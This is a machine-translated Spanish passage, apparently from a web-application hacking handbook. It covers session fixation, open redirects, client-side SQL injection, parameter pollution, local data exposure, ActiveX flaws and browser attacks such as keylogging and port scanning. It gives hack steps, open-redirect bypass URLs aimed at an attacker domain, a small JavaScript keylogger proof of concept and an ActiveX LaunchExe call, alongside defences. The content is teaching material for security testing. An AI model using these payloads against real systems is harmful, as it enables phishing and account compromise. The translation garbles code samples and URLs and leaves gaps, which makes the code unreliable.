credenciales ) y enviarlo a un usuario objetivo. Cuando ese usuario inicia sesión con el token,
el atacante puede secuestrar la sesión del usuario.
Machine Translated by Google
PASOS DE HACK
2. Acceda al formulario de inicio de sesión y realice un inicio de sesión con este token.
PASOS DE HACK
2. Si ahora se puede usar el mismo token obtenido originalmente para recuperar los datos
confidenciales, la aplicación es vulnerable a la fijación de la sesión.
En cualquier momento en que un usuario que interactúa con la aplicación pasa de ser anónimo a ser
identificado, la aplicación debe emitir un token de sesión nuevo.
Esto se aplica tanto a un inicio de sesión exitoso como a los casos en los que un usuario anónimo
primero envía información personal u otra información confidencial.
Como medida de defensa en profundidad para proteger aún más contra los ataques de fijación de
sesión, muchas aplicaciones críticas para la seguridad emplean tokens por página para complementar
el token de sesión principal. Esta técnica puede frustrar la mayoría de los tipos de ataques de
secuestro de sesión. Consulte el Capítulo 7 para obtener más detalles.
La aplicación no debe aceptar tokens de sesión arbitrarios que no reconozca
como emitidos por ella misma. El token debe cancelarse inmediatamente dentro
del navegador y el usuario debe regresar a la página de inicio de la aplicación.
visite una URL diferente a la solicitada. Estas vulnerabilidades suelen ser de mucho menos interés para
un atacante que las secuencias de comandos entre sitios, que se pueden utilizar para realizar una gama
mucho más amplia de acciones maliciosas. Los errores de redirección abierta se utilizan principalmente
en ataques de phishing en los que un atacante busca inducir a una víctima a visitar un sitio web
falsificado e ingresar detalles confidenciales. Una vulnerabilidad de redirección puede otorgar credibilidad
a las propuestas del atacante a las víctimas potenciales, ya que le permite construir una URL que apunta
al sitio web auténtico al que se dirige. Por lo tanto, esta URL es más convincente y cualquiera que la
visite es redirigido silenciosamente a un sitio web que controla el atacante.
Dicho esto, la mayoría de los ataques de estilo phishing del mundo real utilizan otras
técnicas para ganar credibilidad que están fuera del control de la aplicación a la que se dirigen.
Los ejemplos incluyen el registro de nombres de dominio similares, el uso de subdominios que parecen
oficiales y la creación de una simple discrepancia entre el texto de anclaje y las URL de destino de los
enlaces en los correos electrónicos HTML. La investigación ha indicado que la mayoría de los usuarios
no pueden o no están inclinados a tomar decisiones de seguridad basadas en la estructura de URL. Por
estas razones, el valor para los phishermen de un típico error de redirección abierta es bastante marginal.
En los últimos años, las vulnerabilidades de redirección abierta se han utilizado de una manera
relativamente benigna para realizar ataques "rickrolling", en los que las víctimas son redirigidas sin darse
cuenta a un video de la leyenda del pop británico Rick Astley, como se ilustra en la Figura 13-5.
n Una redirección HTTP usa un mensaje con un código de estado 3xx y una ubicación
encabezado que especifica el destino de la redirección:
n El encabezado HTTP Refresh se puede usar para recargar una página con un
URL después de un intervalo fijo, que puede ser 0 para activar una redirección inmediata:
n La etiqueta HTML <meta> se puede usar para replicar el comportamiento de cualquier HTTP
encabezado y, por lo tanto, se puede utilizar para la redirección:
<html>
<cabeza>
<meta http-equiv=”actualizar” contenido=
“0;url=http://mdsec.net/updates/update29.html”>
</cabeza>
</html>
n Existen varias API dentro de JavaScript que se pueden usar para redirigir el navegador a una
URL arbitraria:
<html>
<cabeza>
<script>
document.ubicación=”http://mdsec.net/updates/update29.html”;
</script>
</cabeza>
</html>
En cada uno de estos casos, se puede especificar una URL absoluta o relativa.
Machine Translated by Google
PASOS DE HACK
PASOS DE HACK
1. Si los datos del usuario que se procesan en una redirección contienen una URL absoluta,
modifique el nombre de dominio dentro de la URL y pruebe si la aplicación lo redirige
a un dominio diferente.
2. Si los datos de usuario que se procesan contienen una URL relativa, modifíquela en
una URL absoluta para un dominio diferente y pruebe si la aplicación lo redirige a
este dominio.
¡INTENTALO!
http://mdsec.net/updates/8/
http://mdsec.net/updates/14/
http://mdsec.net/updates/18/
http://mdsec.net/updates/23/
http://mdsec.net/updates/48/
Es común encontrar situaciones en las que los datos controlables por el usuario
se utilizan para formar el objetivo de una redirección, pero la aplicación los filtra o
desinfecta de alguna manera, generalmente en un intento de bloquear los ataques
de redirección. En esta situación, la aplicación puede ser vulnerable o no, y su
siguiente tarea debe ser probar las defensas existentes para determinar si se
pueden eludir para realizar una redirección arbitraria. Los dos tipos generales de
defensas que puede encontrar son los intentos de bloquear las URL absolutas y la
adición de un prefijo de URL absoluto específico.
las omisiones anteriores pueden tener éxito y también se deben probar los siguientes
ataques:
http://http://mdattacker.net
http://mdattacker.net/http://mdattacker.net
hthttp://tp://mdattacker.net
A veces, la aplicación puede verificar que la cadena proporcionada por el usuario comience
o contenga una URL absoluta para su propio nombre de dominio. En esta situación, las
siguientes derivaciones pueden ser efectivas:
http://mdsec.net.mdattacker.net
http://mdattacker.net/?http://mdsec.net
http://mdattacker.net/%23http://mdsec.net
¡INTENTALO!
http://mdsec.net/updates/52/
http://mdsec.net/updates/57/
http://mdsec.net/updates/59/
http://mdsec.net/updates/66/
http://mdsec.net/updates/69/
http://mdsec.net.mdattacker.net
Esta URL está bajo el control del atacante, suponiendo que controle los registros DNS del
dominio mdattacker.net.
Sin embargo, si el prefijo de URL absoluto incluye una barra inclinada al final o un
subdirectorio en el servidor, es probable que la aplicación no sea vulnerable a un ataque de redirección.
Machine Translated by Google
¡INTENTALO!
http://mdsec.net/updates/72/
En los casos en los que la redirección se inicia mediante JavaScript del lado del cliente
que consulta datos del DOM, todo el código responsable de realizar la redirección y cualquier
validación asociada normalmente están visibles en el cliente. Debe revisar esto detenidamente
para determinar cómo se incorporan los datos controlables por el usuario en la URL, si se
está realizando alguna validación y, de ser así, si existe alguna omisión a la validación.
Tenga en cuenta que, al igual que con XSS basado en DOM, es posible que se realice
alguna validación adicional en el servidor antes de que la secuencia de comandos se
devuelva al navegador. Las siguientes API de JavaScript se pueden usar para realizar redireccionamientos:
n documento.ubicación
n documento.URL
n documento.open()
n ventana.ubicación.href
n ventana.navegar()
n ventana.abrir()
¡INTENTALO!
http://mdsec.net/updates/76/
http://mdsec.net/updates/79/
http://mdsec.net/updates/82/
http://mdsec.net/updates/91/
http://mdsec.net/updates/92/
http://mdsec.net/updates/95/
cada uno apunta a una página de redirección y pasa una URL de destino como parámetro.
Aquí, los posibles enfoques alternativos incluyen lo siguiente:
n Elimine la página de redirección de la aplicación y reemplace los enlaces a ella con enlaces directos
a las URL de destino relevantes.
n Mantenga una lista de todas las URL válidas para la redirección. En lugar de pasar la URL de destino
como parámetro a la página de redireccionamiento, pase un índice a esta lista. La página de
redirección debe buscar el índice en su lista y devolver una redirección a la URL relevante.
Si se considera inevitable que la página de redirección reciba una entrada controlable por el usuario y
la incorpore al objetivo de redirección, se debe utilizar una de las siguientes medidas para minimizar el
riesgo de ataques de redirección:
n La aplicación debe usar direcciones URL relativas a la raíz web para todos sus redireccionamientos,
y la página de redireccionamiento debe anteponer http://sunombrededominio.com a todas las URL
proporcionadas por el usuario antes de emitir el redireccionamiento. Si la URL proporcionada por el
usuario no comienza con una barra inclinada, en su lugar debe anteponerse http://
yourdomainname.com/.
n La aplicación debe usar direcciones URL absolutas para todos los redireccionamientos, y la página
de redireccionamiento debe verificar que la URL proporcionada por el usuario comience con http://
sunombrededominio.com/ antes de emitir el redireccionamiento. Cualquier otra entrada debe ser
rechazada.
Al igual que con las vulnerabilidades XSS basadas en DOM, se recomienda que las aplicaciones no
realicen redireccionamientos a través de secuencias de comandos del lado del cliente sobre la base de
datos DOM, ya que estos datos están fuera del control directo del servidor.
HTML5 admite bases de datos SQL del lado del cliente, que las aplicaciones pueden usar para
almacenar datos en el cliente. Se accede a ellos usando JavaScript, como en el siguiente ejemplo:
Adamson”, “[email protected]”)');
});
Machine Translated by Google
Esta funcionalidad permite que las aplicaciones almacenen datos de uso común en el lado
del cliente y los recuperen rápidamente en la interfaz de usuario cuando sea necesario. También
permite que las aplicaciones funcionen en "modo fuera de línea", en el que todos los datos
procesados por la aplicación residen en el cliente y las acciones del usuario se almacenan en
el cliente para su posterior sincronización con el servidor, cuando hay una conexión de red disponible.
El Capítulo 9 describió cómo pueden surgir ataques de inyección SQL en bases de datos SQL del lado del servidor , donde
los datos controlados por el atacante se insertan en una consulta SQL de una manera no segura. Exactamente el mismo
ataque puede surgir en el lado del cliente. Aquí hay algunos escenarios en los que esto puede ser posible:
n Aplicaciones de redes sociales que almacenan detalles de los contactos del usuario en la base
de datos local, incluidos nombres de contactos y actualizaciones de estado . n Aplicaciones de
n Aplicaciones de correo web que almacenan mensajes de correo electrónico en la base de datos local y, cuando se
ejecutan en modo fuera de línea, almacenan mensajes salientes para enviarlos más tarde.
En estas situaciones, un atacante puede realizar ataques de inyección SQL del lado del cliente al incluir entradas
manipuladas en una parte de los datos que controla, que la aplicación almacena localmente. Por ejemplo, enviar un correo
electrónico que contenga un ataque de inyección SQL en la línea de asunto podría comprometer la base de datos local del
usuario destinatario, si estos datos están incrustados en una consulta SQL del lado del cliente. Dependiendo exactamente de
cómo la aplicación utilice la base de datos local, es posible que se produzcan ataques graves. Usando solo inyección SQL, un
atacante puede recuperar de la base de datos el contenido de otros mensajes que el usuario ha recibido, copiar estos datos
en un nuevo correo electrónico saliente para el atacante y agregar este correo electrónico a la tabla de mensajes en cola .
mensajes salientes.
Es probable que los tipos de datos que a menudo se almacenan en las bases de datos del lado
del cliente incluyan metacaracteres SQL, como las comillas simples. Por lo tanto, es probable que
se identifiquen muchas vulnerabilidades de inyección SQL durante las pruebas normales de
usabilidad , por lo que es posible que existan defensas contra los ataques de inyección SQL. Al
igual que con la inyección del lado del servidor, estas defensas pueden contener varias derivaciones
que se pueden usar para seguir lanzando un ataque exitoso.
El Capítulo 9 describió cómo los ataques de contaminación de parámetros HTTP se pueden usar en algunas situaciones para
interferir con la lógica de la aplicación del lado del servidor. En algunas situaciones, estos ataques también pueden ser posibles
Supongamos que una aplicación de correo web carga la bandeja de entrada utilizando la siguiente URL:
https://wahh-mail.com/show?folder=inbox&order=down&size=20&start=1
Machine Translated by Google
Dentro de la bandeja de entrada, se muestran varios enlaces junto a cada mensaje para
realizar acciones como eliminar, reenviar y responder. Por ejemplo, el enlace para responder
al mensaje número 12 es el siguiente:
<a href=”doaction?folder=inbox&order=down&size=20&start=1&message=12&action=
responder&rnd=1935612936174”>responder</a>
Varios parámetros dentro de estos enlaces se están copiando de los parámetros en la URL de la
bandeja de entrada. Incluso si la aplicación se defiende sólidamente contra los ataques XSS, es
posible que un atacante construya una URL que muestre la bandeja de entrada con diferentes
valores reflejados dentro de estos enlaces. Por ejemplo, el atacante puede proporcionar un parámetro
como este:
inicio=1%26acción=eliminar
Si la aplicación acepta este valor no válido y aún muestra la bandeja de entrada, y si repite el
valor sin modificarlo, el enlace para responder al mensaje número 12 se convierte en este:
<a href=”doaction?folder=inbox&order=down&size=20&start=1&action=delete&
mensaje=12&acción=respuesta&rnd=1935612936174”>responder</a>
Este enlace ahora contiene dos parámetros de acción: uno que especifica la eliminación y otro
que especifica la respuesta. Al igual que con la contaminación de parámetros HTTP estándar, el
comportamiento de la aplicación cuando el usuario hace clic en el enlace "responder" depende de
cómo maneja el parámetro duplicado. En muchos casos, se utiliza el primer valor, por lo que el
usuario es inducido involuntariamente a eliminar todos los mensajes a los que intenta responder.
En este ejemplo, tenga en cuenta que los enlaces para realizar acciones contienen
un parámetro rnd , que de hecho es un token anti-CSRF, lo que evita que un atacante
induzca fácilmente estas acciones a través de un ataque CSRF estándar. Dado que el
ataque HPP del lado del cliente se inyecta en los enlaces existentes construidos por la
aplicación, los tokens anti-CSRF se manejan de manera normal y no previenen el ataque.
En la mayoría de las aplicaciones de correo web del mundo real, es probable que existan muchas
más acciones que pueden explotarse, incluida la eliminación de todos los mensajes, el reenvío de
mensajes individuales y la creación de reglas generales de reenvío de correo. Dependiendo de cómo
se implementen estas acciones, es posible inyectar varios parámetros requeridos en los enlaces, e
incluso explotar las funciones de redirección en el sitio, para inducir al usuario a realizar acciones
complejas que normalmente están protegidas por defensas anti-CSRF. Además, es posible utilizar
múltiples niveles de codificación de URL para inyectar varios ataques en una sola URL. Así, por
ejemplo, una acción
Machine Translated by Google
se realiza cuando el usuario intenta leer un mensaje y se realiza otra acción cuando el usuario intenta volver a la
bandeja de entrada.
Muchos usuarios acceden a aplicaciones web desde un entorno compartido en el que un atacante puede tener
acceso directo a la misma computadora que el usuario. Esto da lugar a una serie de ataques a los que las
aplicaciones inseguras pueden dejar vulnerables a sus usuarios. Este tipo de ataque puede surgir en varias
áreas.
NOTA Existen numerosos mecanismos mediante los cuales las aplicaciones pueden
almacenar datos potencialmente confidenciales en las computadoras de los usuarios.
En muchos casos, para probar si esto se está haciendo, es preferible comenzar con un
navegador completamente limpio para que los datos almacenados por la aplicación que
se está probando no se pierdan entre el ruido de los datos almacenados existentes. Una
forma ideal de hacer esto es usar una máquina virtual con una instalación limpia tanto del
sistema operativo como de cualquier navegador.
Además, en algunos sistemas operativos, las carpetas y los archivos que contienen datos
almacenados localmente pueden estar ocultos de forma predeterminada cuando se utiliza el
explorador del sistema de archivos integrado. Para asegurarse de que se identifican todos los
datos relevantes, debe configurar su computadora para mostrar todos los archivos ocultos y del sistema operativo.
Cookies persistentes
Algunas aplicaciones almacenan datos confidenciales en una cookie persistente, que la mayoría de los
navegadores guardan en el sistema de archivos local.
PASOS DE HACK
¡INTENTALO!
http://mdsec.net/auth/227/
específicamente que no lo hagan. Los datos almacenados en caché normalmente se almacenan en el sistema de archivos local.
PASOS DE HACK
1. Para cualquier página de aplicación a la que se acceda a través de HTTP y que contenga
datos confidenciales, revise los detalles de la respuesta del servidor para identificar las
directivas de caché.
2. Las siguientes directivas evitan que los navegadores almacenen en caché una página. Tenga en
cuenta que estos pueden especificarse dentro de los encabezados de respuesta HTTP o dentro
de las metaetiquetas HTML:
Caduca: 0
Control de caché: sin caché
Pragma: sin caché
4. Para verificar que la información confidencial se almacena en caché, use una instalación
predeterminada de un navegador estándar, como Internet Explorer o Firefox. En la
configuración del navegador, limpie completamente su caché y todas las cookies, y
luego acceda a las páginas de la aplicación que contienen datos sensibles. Revise los
archivos que aparecen en el caché para ver si alguno contiene datos confidenciales. Si se
genera una gran cantidad de archivos, puede tomar una cadena específica de la fuente de
una página y buscar esa cadena en el caché.
Estas son las ubicaciones de caché predeterminadas para navegadores comunes:
Tenga en cuenta que en el Explorador de Windows, para ver esta carpeta, debe ingresar
esta ruta exacta y mostrar las carpetas ocultas, o buscar la carpeta que se acaba de
enumerar desde la línea de comando.
¡INTENTALO!
http://mdsec.net/auth/249/
Historial de navegación
La mayoría de los navegadores guardan un historial de navegación, que puede incluir datos
confidenciales transmitidos en parámetros de URL.
PASOS DE HACK
2. Si existe algún caso, examine el historial del navegador para verificar que estos datos
sido almacenado allí.
¡INTENTALO!
http://mdsec.net/auth/90/
Autocompletar Muchos
navegadores implementan una función de autocompletar configurable por el usuario para los campos
de entrada basados en texto, que pueden almacenar datos confidenciales, como números de tarjetas
de crédito, nombres de usuario y contraseñas. Internet Explorer almacena datos de autocompletado
en el registro y Firefox los almacena en el sistema de archivos.
Como ya se describió, además de ser accesible para los atacantes locales, los datos en el
caché de autocompletar se pueden recuperar a través de un ataque XSS en ciertas circunstancias.
PASOS DE HACK
¡INTENTALO!
http://mdsec.net/auth/260/
Machine Translated by Google
PASOS DE HACK
1. Hay varios complementos disponibles para Firefox, como BetterPrivacy, que se pueden
usar para explorar los datos de LSO creados por aplicaciones individuales.
2. Puede revisar el contenido de los datos LSO sin procesar directamente en el disco. Él
La ubicación de estos datos depende del navegador y del sistema operativo. Por
ejemplo, en versiones recientes de Internet Explorer, los datos de LSO residen dentro
de la siguiente estructura de carpetas:
¡INTENTALO!
http://mdsec.net/auth/245/
PASOS DE HACK
¡INTENTALO!
http://mdsec.net/auth/239/
Machine Translated by Google
PASOS DE HACK
Puede revisar el contenido de los datos sin procesar almacenados en los datos de usuario de
IE directamente en el disco. Para versiones recientes de Internet Explorer, estos datos residen
dentro de la siguiente estructura de carpetas:
C:\Usuarios\usuario\AppData\Roaming\Microsoft\Internet Explorer\
UserData\Low\{aleatorio}
¡INTENTALO!
http://mdsec.net/auth/232/
HTML5 está introduciendo una gama de nuevos mecanismos de almacenamiento local, que incluyen:
n Almacenamiento de sesión
n Almacenamiento local n
Las aplicaciones deben evitar almacenar cualquier cosa confidencial en una cookie persistente.
Incluso si estos datos están encriptados, un atacante puede volver a enviarlos para capturarlos.
Las aplicaciones deben usar directivas de caché adecuadas para evitar que los navegadores
almacenen datos confidenciales. En las aplicaciones ASP, las siguientes instrucciones hacen que el
servidor incluya las directivas requeridas:
En las aplicaciones Java, los siguientes comandos deberían lograr el mismo resultado:
Machine Translated by Google
<%
respuesta.setHeader(“Cache-Control”,”no-cache”);
respuesta.setHeader(“Pragma”,”sin caché”);
respuesta.setDateHeader ("Caduca", 0);
%>
Las aplicaciones nunca deben usar direcciones URL para transmitir datos confidenciales, ya que es
probable que se registren en numerosas ubicaciones. Todos estos datos deben transmitirse mediante
formularios HTML que se envían mediante el método POST .
En cualquier instancia en la que los usuarios ingresen datos confidenciales en los campos de entrada de
texto, el atributo autocompletar=desactivado debe especificarse dentro del formulario o la etiqueta del campo.
Otros mecanismos de almacenamiento del lado del cliente, como las nuevas funciones que se están
introduciendo con HTML5, brindan una oportunidad para que las aplicaciones implementen funciones valiosas,
incluido un acceso mucho más rápido a los datos específicos del usuario y la capacidad de seguir trabajando
cuando el acceso a la red no está disponible. disponible. En los casos en que los datos confidenciales deban
almacenarse localmente, lo ideal sería cifrarlos para evitar el fácil acceso directo por parte de un atacante.
Además, se debe informar a los usuarios sobre la naturaleza de los datos que se almacenan localmente,
advertirles sobre los riesgos del acceso local por parte de un atacante y permitirles optar por no participar en
esta función si así lo desean.
Los navegadores no aceptan cualquier control ActiveX que un sitio web les pida que instalen. Por defecto,
cuando un sitio web busca instalar un control, el navegador presenta una advertencia de seguridad y pide
permiso al usuario. El usuario puede decidir si confía en el sitio web que emite el control y permitir que se
instale en consecuencia. Sin embargo, si lo hace, y el control contiene vulnerabilidades, estas pueden ser
explotadas por cualquier sitio web malicioso que visite el usuario.
Dos categorías principales de vulnerabilidad que se encuentran comúnmente dentro de los controles
ActiveX son de interés para un atacante:
n Debido a que los controles ActiveX generalmente están escritos en lenguajes nativos como C/C++,
están en riesgo de vulnerabilidades de software clásicas como desbordamientos de búfer, errores de
enteros y fallas de cadenas de formato (consulte el Capítulo 16 para obtener más detalles). En los
últimos años, un gran número de estas vulnerabilidades
Machine Translated by Google
han sido identificados dentro de los controles ActiveX emitidos por aplicaciones web
populares, como sitios de juegos en línea. Estas vulnerabilidades normalmente se
pueden explotar para provocar la ejecución de código arbitrario en la computadora del
usuario víctima.
n LaunchExe(BSTR ExeName)
Por lo general, los desarrolladores implementan métodos como estos para generar
cierta flexibilidad en su control, lo que les permite ampliar su funcionalidad en el futuro
sin necesidad de implementar un nuevo control. Sin embargo, después de instalar el
control , por supuesto, puede ser "ampliado" de la misma manera por cualquier sitio
web malicioso para llevar a cabo acciones no deseadas contra el usuario.
<objeto id=”oMiObjeto”
identificación de clase = "CLSID: A61BC839-5188-4AE9-76AF-109016FD8901"
codebase=”https://wahh-app.com/bin/myobject.cab”> </object>
Este código le dice al navegador que cree una instancia de un control ActiveX con el
nombre y el classid especificados y que descargue el control desde la URL especificada. Si
ya hay un control instalado, no se requiere el parámetro de base de código y el navegador
ubica el control desde la computadora local, según su classid único.
Si un usuario da permiso para instalar el control, el navegador lo registra como "seguro
para secuencias de comandos". Esto significa que cualquier sitio web puede crear instancias
de él y sus métodos invocarlos en el futuro. Para verificar con certeza que esto se ha hecho,
puede verificar la clave de registro HKEY_CLASSES_ROOT\CLSID\classid de control tomada
desde arriba HTML\Categorías implementadas. Si la subclave 7DD95801-9882-11CF
-9FA9-00AA006C42C4 está presente, el control se ha registrado como "seguro para
secuencias de comandos", como se muestra en la Figura 13-6.
Machine Translated by Google
<script>
document.oMyObject.LaunchExe('myAppDemo.exe'); </script>
PASOS DE HACK
Una forma sencilla de sondear las vulnerabilidades de ActiveX es modificar el HTML que
invoca el control, pasarle sus propios parámetros y monitorear los resultados:
Es común encontrar que no todos los métodos implementados por un control son realmente
invocados en cualquier lugar dentro de la aplicación. Por ejemplo, los métodos pueden haberse
implementado con fines de prueba, pueden haber sido reemplazados pero no eliminados, o
pueden existir para uso futuro o con fines de actualización automática. Para realizar una prueba
exhaustiva de un control, es necesario enumerar toda la superficie de ataque que expone a
través de estos métodos y probarlos todos.
Machine Translated by Google
Existen varias herramientas para enumerar y probar los métodos expuestos por los
controles ActiveX. Una herramienta útil es COMRaider de iDefense, que puede mostrar
todos los métodos de control y realizar pruebas de fuzz básicas de cada uno, como se
muestra en la Figura 13-7.
n Se debe realizar una revisión del código fuente centrada en la seguridad y una prueba de
penetración en el control para localizar vulnerabilidades como desbordamientos de búfer.
aporte. Por lo general, hay alternativas más seguras disponibles con un esfuerzo adicional mínimo.
Por ejemplo, si se considera necesario lanzar procesos externos, compilar una lista de todos los
procesos externos que se pueden lanzar de forma legítima y segura. Luego, cree un método
separado para llamar a cada uno o use un solo método que incluya un número de índice en esta
lista.
Como precaución adicional de defensa en profundidad, algunos controles ActiveX validan el nombre de
dominio que emitió la página HTML desde la que se invocan. La plantilla SiteLock Active Template Library
de Microsoft permite a los desarrolladores restringir el uso de un control ActiveX a una lista específica de
nombres de dominio.
Algunos controles van más allá al requerir que todos los parámetros
pasados al control estén firmados criptográficamente. Si la firma pasada no
es válida, el control no realiza la acción solicitada. Debe tener en cuenta
que algunas defensas de este tipo pueden eludirse si el sitio web al que se
le permite invocar el control contiene vulnerabilidades XSS.
Atacar al navegador
Los ataques descritos hasta ahora en este capítulo y en el anterior involucran la explotación de alguna
característica del comportamiento de una aplicación para comprometer a los usuarios de la aplicación.
Ataques como secuencias de comandos entre sitios, falsificación de solicitudes entre sitios y secuestro de
JavaScript surgen de vulnerabilidades dentro de aplicaciones web específicas, aunque los detalles de
algunas técnicas de explotación pueden aprovechar las peculiaridades de navegadores específicos.
Otra categoría de ataques contra usuarios no depende del comportamiento de aplicaciones específicas.
Más bien, estos ataques se basan únicamente en las características del comportamiento del navegador o
en el diseño de las propias tecnologías web centrales . Estos ataques pueden ser entregados por cualquier
sitio web malicioso o por cualquier sitio benigno que se haya visto comprometido. Como tales, se
encuentran al borde del alcance de un libro sobre piratería de aplicaciones web. Sin embargo, merecen
una breve consideración en parte porque comparten algunas características con ataques que explotan
funciones específicas de la aplicación. También brindan contexto para comprender el impacto de varios
comportamientos de la aplicación al mostrar lo que un atacante puede lograr incluso en ausencia de fallas
específicas de la aplicación.
La discusión en las siguientes secciones es necesariamente concisa. Ciertamente hay espacio para
escribir un libro entero sobre este tema. Se anima a los posibles autores con una cantidad significativa de
tiempo libre a enviar una propuesta a Wiley para el Manual del pirata informático del navegador.
Machine Translated by Google
JavaScript se puede usar para monitorear todas las teclas que presiona el usuario mientras la ventana del
navegador tiene el foco, incluidas las contraseñas, los mensajes privados y otra información personal. El
siguiente script de prueba de concepto captura todas las pulsaciones de teclas en Internet Explorer y las
muestra en la barra de estado del navegador:
<script>document.onkeypress = función () {
ventana.estado += String.fromCharCode(ventana.event.keyCode);
} </script>
Estos ataques pueden capturar pulsaciones de teclas solo mientras el marco en el que se ejecuta el
código tiene el foco. Sin embargo, algunas aplicaciones se vuelven vulnerables al registro de teclas cuando
incorporan un widget de terceros o un subprograma publicitario en un marco dentro de las propias páginas
de la aplicación. En los llamados ataques de "secuestro de trazos inversos", el código malicioso que se
ejecuta en un marco secundario puede captar el foco de la ventana de nivel superior, ya que la política del
mismo origen no impide esta operación. El código malicioso puede capturar pulsaciones de teclas al
manejar eventos onkeydown y puede pasar los eventos onkeypress separados a la ventana de nivel
superior. De esa forma, el texto escrito seguirá apareciendo en la ventana de nivel superior de la forma
habitual. Al abandonar el foco brevemente durante las pausas al escribir, el código malicioso puede incluso
mantener la apariencia de un signo de intercalación parpadeante en la ubicación normal dentro de la
página de nivel superior.
JavaScript se puede utilizar para realizar un ejercicio de fuerza bruta para descubrir sitios de terceros
visitados recientemente por el usuario y consultas que ha realizado en motores de búsqueda populares.
Esta técnica ya se describió en el contexto de realizar un ataque de fuerza bruta para identificar tokens
anti-CSRF válidos que están en uso en un dominio diferente. El ataque funciona mediante la creación
dinámica de hipervínculos para sitios web comunes y consultas de búsqueda y mediante el uso de la API
getComputedStyle para probar si el enlace está coloreado como visitado o no visitado. Se puede comprobar
rápidamente una enorme lista de posibles objetivos con un impacto mínimo en el usuario.
JavaScript se puede utilizar para determinar si el usuario está actualmente conectado a aplicaciones web
de terceros. La mayoría de las aplicaciones contienen páginas protegidas que solo pueden ver los usuarios
registrados, como la página Mis detalles. Si un usuario no autenticado solicita la página, recibe un
contenido diferente, como un mensaje de error o una redirección al inicio de sesión.
Este comportamiento se puede aprovechar para determinar si un usuario ha iniciado sesión en una
aplicación de terceros realizando una secuencia de comandos entre dominios para una página protegida
e implementando un controlador de errores personalizado para procesar errores de secuencias de comandos:
Escaneo de puertos
JavaScript se puede usar para realizar un escaneo de puertos de hosts en la red local del
usuario u otras redes accesibles para identificar servicios que pueden ser explotables.
Si un usuario está detrás de un cortafuegos corporativo o doméstico, un atacante puede acceder a
servicios a los que no se puede acceder desde la Internet pública. Si el atacante escanea la interfaz
de bucle invertido de la computadora cliente, es posible que pueda eludir cualquier firewall personal
que haya instalado el usuario.
El escaneo de puertos basado en navegador puede usar un applet de Java para determinar la
dirección IP del usuario (que puede ser NAT de la Internet pública) y, por lo tanto, inferir el rango
probable de IP de la red local. Luego, el script puede iniciar conexiones HTTP a hosts y puertos
arbitrarios para probar la conectividad. Como se describió, la política del mismo origen evita que el
script procese las respuestas a estas solicitudes. Sin embargo, un truco similar al que se usa para
detectar el estado de inicio de sesión se puede usar para probar la conectividad de la red. Aquí, la
secuencia de comandos del atacante intenta cargar y ejecutar dinámicamente una secuencia de
comandos desde cada host y puerto de destino. Si un servidor web se ejecuta en ese puerto, devuelve
HTML o algún otro contenido, lo que genera un error de JavaScript que el script de exploración de
puertos puede detectar. De lo contrario, el intento de conexión expira o no devuelve datos, en cuyo
caso no se genera ningún error . Por lo tanto, a pesar de las restricciones del mismo origen, el script
de escaneo de puertos puede confirmar la conectividad a hosts y puertos arbitrarios.
Muchos servidores web contienen archivos de imagen ubicados en direcciones URL únicas. El
siguiente código busca una imagen específica asociada con una gama popular de enrutadores DSL:
Dichos ataques entre protocolos pueden usarse para realizar acciones no autorizadas en el
servicio de destino o para explotar vulnerabilidades a nivel de código dentro de ese servicio
para comprometer el servidor de destino.
Además, en algunas situaciones, el comportamiento en los servicios que no son HTTP
puede explotarse para realizar ataques XSS contra aplicaciones web que se ejecutan en el
mismo servidor. Tal ataque requiere que se cumplan las siguientes condiciones:
n El servicio que no es HTTP debe ejecutarse en un puerto que no esté bloqueado por los
navegadores, como se describió anteriormente. n El servicio que no es HTTP debe
tolerar encabezados HTTP inesperados enviados por el navegador y no simplemente
cerrar la conexión de red cuando esto sucede. El primero es común para muchos
servicios, particularmente aquellos que están basados en texto.
Machine Translated by Google
n El servicio no HTTP debe hacer eco de parte del contenido de la solicitud en su respuesta,
como en un mensaje de error.
n El navegador debe tolerar respuestas que no contengan encabezados HTTP válidos y, en esta
situación, debe procesar una parte de la respuesta como HTML si eso es lo que contiene. De
hecho, así es como se comportan todos los navegadores actuales cuando se reciben respuestas
cookies. De hecho, los navegadores actuales son independientes de los puertos en el manejo de las
cookies.
Dadas estas condiciones, un atacante puede construir un ataque XSS dirigido al servicio que no es
HTTP. El ataque consiste en enviar una solicitud manipulada, en la URL o en el cuerpo del mensaje, de la
forma habitual. El código de script contenido en las solicitudes se repite y se ejecuta en el navegador del
usuario. Este código puede leer el cocinero del usuario.
ies para el dominio en el que reside el servicio no HTTP y transmitirlos al atacante.
Si existen errores en el software del navegador del usuario o en cualquier extensión instalada, un atacante
puede explotarlos a través de JavaScript o HTML malicioso. En algunos casos, los errores dentro de las
extensiones, como Java VM, han permitido a los atacantes realizar una comunicación binaria bidireccional
con servicios que no son HTTP en la computadora local o en otro lugar. Esto permite que el atacante
aproveche las vulnerabilidades que existen dentro de otros servicios identificados a través del escaneo de
puertos. Muchos productos de software (incluidos los productos que no están basados en navegador)
instalan controles ActiveX que pueden contener vulnerabilidades.
Reenlace de DNS
El reenlace de DNS es una técnica que se puede utilizar para realizar una infracción parcial de las
restricciones del mismo origen en algunas situaciones, lo que permite que un sitio web malicioso interactúe
con un dominio diferente. La posibilidad de este ataque surge porque las segregaciones en la política del
mismo origen se basan principalmente en nombres de dominio, mientras que la entrega final de solicitudes
HTTP implica convertir nombres de dominio en direcciones IP.
n El usuario visita una página web maliciosa en el dominio del atacante. Para recuperar esta
página, el navegador del usuario resuelve el nombre de dominio del atacante en la
dirección IP del atacante.
n La página web del atacante envía solicitudes Ajax al dominio del atacante, lo cual está
permitido por la política del mismo origen. El atacante utiliza el reenlace de DNS
Machine Translated by Google
para hacer que el navegador resuelva el dominio del atacante por segunda vez, y esta
